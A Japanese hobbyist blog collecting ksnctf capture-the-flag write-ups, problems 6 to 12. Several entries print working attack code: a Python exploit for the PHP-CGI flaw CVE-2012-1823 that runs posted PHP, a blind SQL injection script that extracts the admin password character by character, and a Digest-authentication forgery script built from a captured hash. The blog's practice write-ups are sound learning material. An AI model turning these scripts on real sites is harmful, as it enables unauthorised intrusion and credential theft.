かたはらいたし。

個人的な技術的な活動をまとめていきたい。

ksnctf #12 Hypertext Preprocessor

一ヶ月くらい論文やらなんやらで忙しくて全然更新できなかった・・・。

ksnctf - 12 Hypertext Preprocessor

Problem

http://ctfq.sweetduet.info:10080/~q12/

アクセスしてみると、真っ黒な画面に赤い文字で数字の羅列が表示されています。

Analyze

最初は時刻を表示してるのかな?と思って何回かページを更新したところ先頭の文字は変わらず、末尾だけ変化していました。

とりあえず困ったときはGoogle大先生に聞いてみようと、先頭の文字列を検索してみるとCVE-2012-1823に関する情報がたくさんヒットしました。

徳丸先生のページで詳細に解説されていました。
CGI版PHPにリモートからスクリプト実行を許す脆弱性(CVE-2012-1823) | 徳丸浩の日記

CGI環境においてPHPを動かしている場合、リモートからのコマンド実行を許可してしまう脆弱性のようで、クエリとして=が含まれない場合、コマンドラインの引数としてみなされるもののようです。

以下の二つをパラメータとしてURLに含めて、実行したいコマンドをPOSTで渡すとPOSTの中身をPHPスクリプトとして実行されるとのことです。

allow_url_include=On
auto_prepend_file=php://input

Answer

実際に以下のようなコードを作成して、ディレクトリの中身を確認してみる。

#!/usr/bin/env python
# coding: UTF-8

import urllib
import urllib2
import requests


def main():
	url = 'http://ctfq.sweetduet.info:10080/~q12/index.php'
	code = '?-d+allow_url_include%3DOn+-d+auto_prepend_file%3Dphp://input'
	values = '''
	<?php
	$res_dir = opendir( '.' );
	while( $file_name = readdir( $res_dir ) ){
		print "{$file_name}\n";
	}
	closedir( $res_dir );
	?>
	'''
	req = requests.post(url+code, data=values)
	print req.text

if __name__ == '__main__':
	main()

すると、ディレクトリの中身として、

flag_flag_flag.txt
.htaccess
index.php
php.cgi

が存在していることがわかりました。

あとは、同じやり方でflag_flag_flag.txtの中身を表示して終了です。

感想とか

今回はたまたまググって解説されてるページがあったから解くことができたけど、CVEの情報とかだけだったらかなり苦戦していたように思うので、ラッキーということで・・・。

ksnctf #11 Riddle

さぁついにやってきましたバイナリ解析。
こればっかりは普通に生活しててやったことあるって人は稀なんじゃないでしょうか・・・。

ksnctf - 11 Riddle

Problem

http://ksnctf.sweetduet.info/q/11/Riddle.exe

Riddle.exeという実行ファイルがおいてありました。

Analyze

とりあえずfileコマンドで中身を確認してみる。

$ file Riddle.exe
Riddle.exe: PE32 executable for MS Windows (GUI) Intel 80386 32-bit

Windows 32bit用のexeファイルであることがわかりました。

とりあえず起動してみる

Windowsマシンで実行してみるとクイズが出てきます。

Which creature in the morning goes on four feet, at noon on two, and in the evening upon three?

うーん?朝は4本足で昼は2本、夕方は3本と・・・。
ぐぐってみると有名ななぞなぞだということがわかりました。(参考:なぞなぞ - Wikipedia
答えは人間、つまりHumanです。

2問目。

What is the largest island in the world?

世界で一番大きな島、これはもうGreenlandですね。

3問目。

Answer to the Ultimate Question of Life, The Universe, and Everything.

全く意味が分からなかったのでぐぐってみると"生命、宇宙、そして万物についての究極の疑問の答え"だそうです。(参考:生命、宇宙、そして万物についての究極の疑問の答え - Wikipedia
なんかよくわからないですが、42が答えみたいです。詳しくは参考を見てください。

4問目。

What is the flag?

・・・はい。分かるわけ無いですよね。

ここまででわかったことは、問題文とその答え(4問目を除く)の他に正解したときは"Correct!"、間違えた時は"Wrong..."が表示されることです。

アセンブル

今回はIDA Proを使って逆アセンブルをしてみたいと思います。
String Windowの中に、上記で述べた問題文や出力されるダイアログの文字列があったので呼び出し元を参照してみます。
そこを起点として周りのコードを読んで見ると、(多分)以下の手順で実行されていることがわかりました。

  1. 入力された文字列の長さを取得する
  2. 取得した文字列長が解答の長さと同じかどうかを判定し、異なっていた場合"Wrong..."を出力して1.に戻る
  3. 入力した文字列を取得する
  4. 入力文字列と予め用意された数列とのXORを計算する
  5. XORの結果を予め用意された解答(XORの計算結果)と一致するかを判定し、異なっていた場合"Wrong..."を出力して1.に戻る
  6. "Correct!"を表示して次の問題へ

ここでポイントになるのが、入力文字列と予め用意された数列のXORを計算しているところです。
XORは逆計算が可能であるため、答えを計算することが可能です。
つまり、入力文字列 XOR 予め用意された数列 = 予め用意された解答のXOR値となるので、
予め用意された数列 XOR 予め用意された解答のXOR値 = 解答となります。

Answer

例えば1問目の"Human"が答えになる問題だと、
予め用意された数列 = 0xF9 0xB3 0x5A 0x4A 0x18であり、
予め用意された解答のXOR値 = 0xB1 0xC6 0x37 0x2B 0x76となるため、
上記2つのXOR値は0x48 0x75 0x6D 0x61 0x6Eとなり、これを文字に変換してやると"Human"となります。

2問目以降も同様にこの方法で解答を計算することによってFLAGをゲットできます。

感想とか

はじめてのバイナリ解析で中々戸惑うことも多かった(特にツールの使い方)けど、この問題を通じて少しコツをつかめた気がする。
特にデバッグをしながらやることが大切だなって思った。

ksnctf #10 #!

この問題で10問目です。
ポイントも20ptで驚く程簡単な問題です。

ksnctf - 10 #!

Problem

What's this?

#!/usr/bin/python
print "Hello world"
The flag is FLAG_S?????? (in capital letters).
Don't use a brute force attack :(

#!の名前がそのままFLAGになるようです。

Answer

ぐぐってみるとどうやらシバンというらしい。
インタプリタを指定しているなんて知らなかったわ。。。
シバン (Unix) - Wikipedia

これがほぼ答えなのでFLAGゲットです。

感想とか

ここにきてこんな簡単な問題が。。。とも思ったけど、知らなかったら一生解けないしGoogle先生は偉大だなぁと思いました。

ksnctf #9 Digest is secure!

前回はBasic認証でしたが、今回はDigest認証です。

ksnctf - 9 Digest is secure!

Problem

http://ksnctf.sweetduet.info/q/9/q9.pcap

前回と同様pcapファイルのみがあります。

Analyze

Wiresharkを用いて解析を行ってみます。
f:id:tmsk8219:20160705135800p:plain

No.9で要求された認証に対してNo.14で認証情報を送信しています。

ここまではBasic認証のときと同じなのですが、Basic認証とDigest認証では送っている認証情報が異なります。

Digest認証

Basic認証では、認証に必要なユーザ名とパスワードを平文で送っていましたが、Digest認証ではそれらをMD5でハッシュ化して送っています。
更に、認証の際にはサーバ側から送られてくるnonceを用いて認証情報を計算することによって同じユーザ名とパスワードでも毎回異なる値を送信することになります。
これによって、通信の盗聴や改竄、単純なリプレイ攻撃にも耐性があるのではないかと思われます。

ここで重要になってくるのは、実際に送信する認証情報の構造です。
認証情報として送信するresponseは以下の通りです。

A1 = username : realm : password
A2 = HTTPのメソッド : コンテンツのURI
response = MD5( MD5(A1) : nonce : nc : cnonce : qop : MD5(A2) )

No.7で送られてきたnonceを元にしてresponseを計算し、No.14のように認証情報をサーバへ送ることによって認証を通過できると思います。

Answer

まずnonce以外のnccnonceを求めるために、No.14のパケットからresponseを取り出してみると、c3077454ecf09ecef1d6c1201038cfafとなっていました。
ハッシュ関数として用いられているMD5は復号できる場合があるので、適当にググってみると以下のサイトで復号できました。
MD5変換(MD5),MD5逆変換(MD5Reverse)
復号前:c3077454ecf09ecef1d6c1201038cfaf
復号後:c627e19450db746b739f41b64097d449:bbKtsfbABAA=5dad3cce7a7dd2c3335c9b400a19d6ad02df299b:00000001:9691c249745d94fc:auth:31e101310bc

つまり、このようになります。*1

MD5(A1) c627e19450db746b739f41b64097d449
nc 00000001
cnonce 9691c249745d94fc
qop auth
MD5(A2) 31e101310bc

これらを利用して、認証情報を作成してサーバに送ってやるとFLAGをゲットできました。

#!/usr/bin/env python
# coding: UTF-8

import urllib
import urllib2
import md5

url = 'http://ksnctf.sweetduet.info:10080/~q9/flag.html'


username = "q9"
realm = "secret"
nonce = ""
uri = "/~q9/flag.html"
algorithm = "MD5"
response = ""
qop = "auth"
nc = "00000001"
cnonce = "9691c249745d94fc"
md5a1 = "c627e19450db746b739f41b64097d449"
a2 = 'GET:' + uri

def getNonce():
	try:
		data = urllib2.urlopen(url)
		html = data.read()
	except urllib2.HTTPError, e:
		nonce = e.info()['WWW-Authenticate'].split('"')[3]
		return nonce	

def genMD5(str):
	return md5.new(str).hexdigest()

def genResponse(nonce):
	response = genMD5(md5a1 + ':' + nonce + ':' + nc + ':' + cnonce + ':' + qop + ':' + genMD5(a2))
	return response


def genAuthorized(nonce, response):
	authorized = 'Digest username="' + username + '", realm="' + realm + '", nonce="' + nonce + '",uri="' + uri + '", algorithm=' + algorithm + ', response="' + response + '", qop=' + qop + ', nc=' + nc + ', cnonce="' + cnonce + '"'
	return authorized



def main():
	nonce = getNonce()
	response = genResponse(nonce)
	auth = genAuthorized(nonce, response)
	header = {'Authorization' : auth}
	req = urllib2.Request(url, None, header)
	try:
		data = urllib2.urlopen(req)
		html = data.read()
		print html
	except urllib2.HTTPError, e:
		print e.code
		print e.info()
		
if __name__ == '__main__':
	main()

感想とか

Digest認証はBasic認証より安全というくらいの認識しかなかったので、とても勉強になった。
前回のBasic認証の問題を発展させた良い問題だったと思います。

*1:ここで得たnonceは一時的に生成されたものなので認証情報を作成する上では利用できません。

ksnctf #8 Basic is secure?

この問題ではパケットの解析を行っていきます。

http://ksnctf.sweetduet.info/problem/8ksnctf - 8 Basic is secure?

Problem

http://ksnctf.sweetduet.info/q/8/q8.pcap

pcap(packet capture)ファイルです。

Analyze

今回はWireshark(Wireshark · Go Deep.)を使ってパケットを解析してみます。
ファイルを開いた段階で、HTTP通信をしているのは分かるんですが、もう少しわかりやすくするためにhttpでフィルタをかけています。

Wiresharkでq8.pcapを開くと以下の様な画面になります。
f:id:tmsk8219:20160704191129p:plain

ここで、通信内容をまとめると以下のようになります。([S]ource, [D]estionation)

No. 通信方向 内容
7 S -> D コンテンツを要求
9 S <- D 認証を要求
13 S -> D コンテンツを要求(認証内容付き)
16 S <- D コンテンツを返す
24 S -> D favicon.icoを要求
26 S <- D Not Found

Answer

重要なのは上4つの通信で、中でも特に重要な通信はNo.13のパケットです。
ここでは、認証要求に対して認証情報を付加したパケットを送信しているため、このパケットを解析すれば認証情報を得ることができます。
ので、No.13のパケットの中身を見てみるとCredentialsにFLAGが設定されてました。

感想とか

パケット解析はWiresharkのツールを使うことによって簡単にできるので、入門という意味ではよかったと思った。
すごい簡単な問題だなと思ってたら完全に次の問題の布石でした。。。

ksnctf #7 Programming

ちょっと忙しくて記事書く時間がなかった。。。
今回はこちらの問題を解いてみたいと思います。

ksnctf - 7 Programming

Problem

http://ksnctf.sweetduet.info/q/7/program.cpp
#include

#include

int main
()
{ const char *
s =
" "
"0123456789"
" "

" "
" "
"ABCDEFGHIJ" ;
printf (
"%c" , strlen
(s)
); int i = 020000000 + 001000000 +
000600000
+000040000

  1. 000007000
  2. 000000500
  3. 000000020
  4. 000000002 ;

printf (
"%s"
,& i
)
;
long
long
l
=

2LL
*
11LL

*
229LL

*
614741LL

*
9576751LL

+
5LL


;


printf
(
"%s"

,


&


l


)


;


float


f =


1.0962664770776731080774868826855754386638240000e-38f


;


printf( "%s"


,
&f
)
;
double

d =
6.7386412564254706622868098890859398199406890000e-308
;
printf
("%s"
,&d);
}

リンク先に飛ぶと、C++のようなソースファイルが。でもものすごく汚い。

Analyze

とりあえずコンパイルして実行してみる。

$ g++ q7.cpp
$ ./a.out
FROG_This_is_wrong_:(
$

まぁうまくいくわけがない。
ソースコードにちらほら空白が入ってるのが気になって調べてみると、Whitespaceなるものを見つけた。(参考:Whitespace - Wikipedia
どうやら空白を用いてプログラミングを行うものらしい。

Answer

ぐぐってると、Jacascriptに変換してくれるツールを見つけたので変換してみると以下のコードが得られた。

(function (stack, heap, callStack, main, buf) {

  (main = function (label, end) { do switch(label) {

    case 0:

      stack.push(80);
      WS2JS.putc(stack.pop());
      stack.push(73);
      WS2JS.putc(stack.pop());
      stack.push(78);
      WS2JS.putc(stack.pop());
      stack.push(58);
      WS2JS.putc(stack.pop());
      stack.push(32);
      WS2JS.putc(stack.pop());
      stack.push(0);
      WS2JS.getn(function (n) { heap[stack.pop()] = n; main(14);}); label = 2; break; case 14:
      stack.push(0);
      stack.push(heap[stack.pop()]);
      stack.push(33355524);
      stack.push(-stack.pop() + stack.pop());
      if (!stack.pop()) { label = '1'; break;}
      stack.push(78);
      WS2JS.putc(stack.pop());
      stack.push(79);
      WS2JS.putc(stack.pop());
      label = 1; break;

    case '1':

      stack.push(79);
      WS2JS.putc(stack.pop());
      stack.push(75);
      WS2JS.putc(stack.pop());
      stack.push(10);
      WS2JS.putc(stack.pop());
      stack.push(0);
      stack.push(heap[stack.pop()]);
      stack.push(33355454);
      stack.push(-stack.pop() + stack.pop());
      stack.push(stack[stack.length - 1]);
      WS2JS.putc(stack.pop());
      stack.push(6);
      stack.push(stack.pop() + stack.pop());
      stack.push(stack[stack.length - 1]);
      WS2JS.putc(stack.pop());
      stack.push(11);
      stack.push(-stack.pop() + stack.pop());
      stack.push(stack[stack.length - 1]);
      WS2JS.putc(stack.pop());
      stack.push(6);
      stack.push(stack.pop() + stack.pop());
      stack.push(stack[stack.length - 1]);
      WS2JS.putc(stack.pop());
      stack.push(24);
      stack.push(stack.pop() + stack.pop());
      stack.push(stack[stack.length - 1]);
      WS2JS.putc(stack.pop());
      stack.push(26);
      stack.push(-stack.pop() + stack.pop());
      stack.push(stack[stack.length - 1]);
      WS2JS.putc(stack.pop());
      stack.push(40);
      stack.push(stack.pop() + stack.pop());
      stack.push(stack[stack.length - 1]);
      WS2JS.putc(stack.pop());
      stack.push(25);
      stack.push(-stack.pop() + stack.pop());
      stack.push(stack[stack.length - 1]);
      WS2JS.putc(stack.pop());
      stack.push(36);
      stack.push(stack.pop() + stack.pop());
      stack.push(stack[stack.length - 1]);
      WS2JS.putc(stack.pop());
      stack.push(66);
      stack.push(-stack.pop() + stack.pop());
      stack.push(stack[stack.length - 1]);
      WS2JS.putc(stack.pop());
      stack.push(16);
      stack.push(stack.pop() + stack.pop());
      stack.push(stack[stack.length - 1]);
      WS2JS.putc(stack.pop());
      stack.push(14);
      stack.push(stack.pop() + stack.pop());
      stack.push(stack[stack.length - 1]);
      WS2JS.putc(stack.pop());
      stack.push(14);
      stack.push(stack.pop() + stack.pop());
      stack.push(stack[stack.length - 1]);
      WS2JS.putc(stack.pop());
      stack.push(27);
      stack.push(-stack.pop() + stack.pop());
      stack.push(stack[stack.length - 1]);
      WS2JS.putc(stack.pop());
      stack.push(5);
      stack.push(stack.pop() + stack.pop());
      stack.push(stack[stack.length - 1]);
      WS2JS.putc(stack.pop());
      stack.push(29);
      stack.push(stack.pop() + stack.pop());
      stack.push(stack[stack.length - 1]);
      WS2JS.putc(stack.pop());
      stack.push(4);
      stack.push(-stack.pop() + stack.pop());
      stack.push(stack[stack.length - 1]);
      WS2JS.putc(stack.pop());
      stack.push(4);
      stack.push(stack.pop() + stack.pop());
      stack.push(stack[stack.length - 1]);
      WS2JS.putc(stack.pop());
      stack.push(28);
      stack.push(-stack.pop() + stack.pop());
      stack.push(stack[stack.length - 1]);
      WS2JS.putc(stack.pop());
      stack.push(22);
      stack.push(stack.pop() + stack.pop());
      stack.push(stack[stack.length - 1]);
      WS2JS.putc(stack.pop());
      stack.push(34);
      stack.push(-stack.pop() + stack.pop());
      stack.push(stack[stack.length - 1]);
      WS2JS.putc(stack.pop());
      stack.push(55);
      stack.push(-stack.pop() + stack.pop());
      stack.push(stack[stack.length - 1]);
      WS2JS.putc(stack.pop());
      label = 1; break;

    case 1:

      WS2JS.onExit();

    case 2:

      end = 1; break;

  default: throw new Error('Invalid label :' + label);} while (!end);})(0);

})([], {}, []);

jsに書かれている通りにPINコードを入力してやるとFLAGゲット。

感想とか

これも知ってるか知らないかでかかる時間がだいぶ変わってくると思います。
まぁでも総じていえることは ぐぐるって大事 ってことかな。

ksnctf #6 Login

前回の問題はえらく簡単だったのですが、今回はちょっと知識がいりそうな問題です。

ksnctf - 6 Login

Problem

http://ctfq.sweetduet.info:10080/~q6/

URL先に飛ぶとログインフォームがあり、"First, login as "admin"."の文字が。
adminでログインしろってことだと思うんですが、パスワードがわからん。

Answer

ポイントも120ptとそんなに高くないので、 SQLインジェクションかな?
ので、まずはパスワードの文字数を調べて行きたいと思います。

idが'admin'でかつ、passの長さが[文字数]であるものを探していきます。

admin' AND (SELECT length(pass) FROM user WHERE id='admin') = [文字数]; --

ksnctfのフラグはだいたい21文字なので(多分)、[文字数]=21にして実行すると、以下のレスポンスが得られました。

Congratulations!
It's too easy?
Don't worry.
The flag is admin's password.

Hint:
<?php
    function h($s){return htmlspecialchars($s,ENT_QUOTES,'UTF-8');}
    
    $id = isset($_POST['id']) ? $_POST['id'] : '';
    $pass = isset($_POST['pass']) ? $_POST['pass'] : '';
    $login = false;
    $err = '';
    
    if ($id!=='')
    {
        $db = new PDO('sqlite:database.db');
        $r = $db->query("SELECT * FROM user WHERE id='$id' AND pass='$pass'");
        $login = $r && $r->fetch();
        if (!$login)
            $err = 'Login Failed';
    }
?><!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <title>q6q6q6q6q6q6q6q6q6q6q6q6q6q6q6q6</title>
  </head>
  <body>
    <?php if (!$login) { ?>
    <p>
      First, login as "admin".
    </p>
    <div style="font-weight:bold; color:red">
      <?php echo h($err); ?>
    </div>
    <form method="POST">
      <div>ID: <input type="text" name="id" value="<?php echo h($id); ?>"></div>
      <div>Pass: <input type="text" name="pass" value="<?php echo h($pass); ?>"></div>
      <div><input type="submit"></div>
    </form>
    <?php } else { ?>
    <p>
      Congratulations!<br>
      It's too easy?<br>
      Don't worry.<br>
      The flag is admin's password.<br>
      <br>
      Hint:<br>
    </p>
    <pre><?php echo h(file_get_contents('index.php')); ?></pre>
    <?php } ?>
  </body>
</html>

これで文字数はわかったので、1文字ずつパスワードを推測していきたいと思います。
substrを使うことによって、最初からn文字目までの一致を確認することができるので、総当りよりもだいぶ効率が良いです。

#!/usr/bin/env python
# coding: UTF-8

import sys
import urllib
import urllib2

def httpRequest(id, pw):

	url = 'http://ctfq.sweetduet.info:10080/~q6/'
	req = {'id': id, 'pass': pw}
	params = urllib.urlencode(req)
	response = urllib2.urlopen(url, params)
	data = response.read()
	# print data
	# print len(data)

	return data

def atkpw(plen):

	flag = ''

	for p in range(0, plen):
		for i in range(48, 123):
			char = chr(i)
			id = "admin' AND substr((SELECT pass FROM user WHERE id='admin'), " + str(p + 1) + ", 1) = " + "'" + char + "'" + " ; --"
			pw = "''"

			data = httpRequest(id, pw)

			if len(data) > 2000:
				print str(i) + ": " + char
				flag = flag + char
				print flag
				break

	return flag

if __name__ == '__main__':
	plen = 21
	print atkpw(plen)

これでしばらく放置すればフラグゲットです。

感想とか

SQLインジェクション自体は元々知っていたのですが、実際にやってみたのは初めてなので、いい経験になりました。